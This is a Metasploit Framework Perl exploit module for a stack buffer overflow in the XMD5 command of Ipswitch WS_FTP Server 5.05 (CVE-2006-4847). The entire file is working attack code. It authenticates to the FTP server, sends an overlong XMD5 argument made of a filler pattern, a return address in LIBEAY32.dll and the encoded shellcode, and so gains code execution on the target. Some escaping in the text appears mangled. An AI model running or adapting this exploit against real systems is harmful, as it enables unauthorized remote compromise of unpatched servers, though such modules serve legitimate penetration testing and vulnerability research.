##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wsftp_server_505_xmd5;
use base \"Msf::Exploit\";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
\'Name\' => \'WS-FTP Server 5.05 XMD5 Overflow\',
\'Version\' => \'$Revision: 1.0 $\',
\'Authors\' =>
[ \'Jacopo Cervini <acaro [at] jervus.it>\',
],
\'Arch\' => [ \'x86\' ],
\'OS\' => [ \'win32\', \'win2000\', \'winxp\', \'win2003\' ],
\'Priv\' => 0,
\'AutoOpts\' => { \'EXITFUNC\' => \'thread\' },
\'UserOpts\' =>
{
\'RHOST\' => [1, \'ADDR\', \'The target address\'],
\'RPORT\' => [1, \'PORT\', \'The target port\', 21],
\'SSL\' => [0, \'BOOL\', \'Use SSL\'],
\'USER\' => [1, \'DATA\', \'Username\', \'ftp\'],
\'PASS\' => [1, \'DATA\', \'Password\', \'ftp\'],
},
\'Payload\' =>
{
\'Space\' => 329,
\'BadChars\' => \"x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e\",
\'Keys\' => [\'+ws2ord\'],
},
\'Description\' => Pex::Text::Freeform(qq{
This module exploits the buffer overflow found in the XMD command
in IPSWITCH WS_FTP Server 5.05.
}),
\'Refs\' =>
[
[\'BID\', \'20076\'],
[ \'CVE\', \'2006-4847\' ],
],
\'DefaultTarget\' => 0,
\'Targets\' =>
[
[\'WS-FTP Server 5.05 Universal\', 0x1002e636 ], # push esp, ret in LIBEAY32.dll
],
\'Keys\' => [\'wsftp\'],
\'DisclosureDate\' => \'Sep 14 2006\',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({\'Info\' => $info, \'Advanced\' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar(\'RHOST\');
my $target_port = $self->GetVar(\'RPORT\');
my $target_idx = $self->GetVar(\'TARGET\');
my $shellcode = $self->GetVar(\'EncodedPayload\')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine(\"[*] Failed to initialize the NOP module.\");
return;
}
my $request = Pex::Text::PatternCreate(676);
$request .= pack(\"V\", $target->[1]);
$request .= $shellcode;
my $s = Msf::Socket::Tcp->new
(
\'PeerAddr\' => $target_host,
\'PeerPort\' => $target_port,
\'LocalPort\' => $self->GetVar(\'CPORT\'),
\'SSL\' => $self->GetVar(\'SSL\'),
);
if ($s->IsError) {
$self->PrintLine(\'[*] Error creating socket: \' . $s->GetError);
return;
}
my $r = $s->RecvLineMulti(20);
if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
$self->Print($r);
$s->Send(\"USER \".$self->GetVar(\'USER\').\"
\");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
$self->Print($r);
$s->Send(\"PASS \".$self->GetVar(\'PASS\').\"
\");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
$self->Print($r);
$self->PrintLine(\"[*] Attemping to exploit target \'\".$target->[0].\"\'...\");
$s->Send(\"XMD5 $request
\");
$r = $s->RecvLineMulti(10);
if (! $r) { $self->PrintLine(\"[*] No response from FTP server\"); return; }
$self->Print($r);
sleep(2);
return;
}
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